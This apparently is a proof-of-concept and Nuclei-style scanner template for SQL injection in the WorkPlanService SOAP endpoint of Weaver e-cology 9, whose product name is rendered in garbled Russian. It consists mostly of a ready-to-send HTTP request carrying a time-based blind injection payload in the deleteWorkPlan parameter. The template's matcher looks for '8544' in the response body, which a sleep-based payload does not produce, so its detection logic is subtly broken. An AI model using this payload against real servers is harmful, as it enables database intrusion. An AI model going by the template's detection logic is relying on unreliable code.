POST /services/WorkPlanService HTTP/1.1
HOST: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Content-Type: text/xml;charset=UTF-8
Connection: close
 
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.workplan.weaver.com.cn">
    <soapenv:Header/>
      <soapenv:Body>
      <web:deleteWorkPlan>
         <!--type: string-->
         <web:in0>(SELECT 8544 FROM (SELECT(SLEEP(5-(IF(27=27,0,5)))))NZeo)</web:in0>
         <!--type: int-->
         <web:in1>22</web:in1> 
      </web:deleteWorkPlan>
      </soapenv:Body>
</soapenv:Envelope>

id: Пан Микро Электронная Кология9 WorkPlanService SQL-инъекция во внешнем интерфейсе

info:
  name: Пан Микро Электронная Кология9 WorkPlanService SQL-инъекция во внешнем интерфейсе
  author: admin
  severity: high
  description: This template detects SQL Injection vulnerabilities in SOAP-based web services.

requests:
  - raw:
      - |
        POST /services/WorkPlanService HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
        Content-Type: text/xml;charset=UTF-8
        Connection: close

        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.workplan.weaver.com.cn">
            <soapenv:Header/>
            <soapenv:Body>
                <web:deleteWorkPlan>
                    <web:in0>{{Payload}}</web:in0>
                    <web:in1>22</web:in1>
                </web:deleteWorkPlan>
            </soapenv:Body>
        </soapenv:Envelope>
    payloads:
      - name: Payload
        values:
          - "(SELECT 8544 FROM (SELECT(SLEEP(5-(IF(27=27,0,5)))))NZeo)"
    matchers:
      - type: word
        words:
          - "8544"
        part: body
    matchers-condition: and